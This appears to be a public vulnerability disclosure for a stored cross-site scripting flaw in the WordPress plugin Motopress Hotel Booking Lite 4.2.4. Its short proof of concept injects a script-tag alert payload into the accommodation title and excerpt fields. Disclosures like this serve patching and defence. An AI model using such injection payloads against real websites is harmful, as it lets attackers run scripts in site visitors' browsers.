WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - Stored Cross-Site Scripting (XSS)

# Exploit Title: WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - Stored Cross-Site Scripting (XSS)
# Date: 2022-06-05
# Exploit Author: Sanjay Singh
# Vendor Homepage: https://motopress.com/
# Software Link: https://downloads.wordpress.org/plugin/motopress-hotel-booking-lite.4.2.4.zip
# Version: 4.2.4
# Tested on: Windows/XAMPP
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PoC:

1. http://localhost/wp-admin/edit.php?post_type=mphb_room_type
2. Click on "Add Accommodation Type".
3. Add title payload= "><script>alert("XSS")</script>
4. Excerpt input payload "><script>alert("XSS")</script>
5. Click publish.
6. Visit http://localhost/accommodations/
7. XSS payload execute.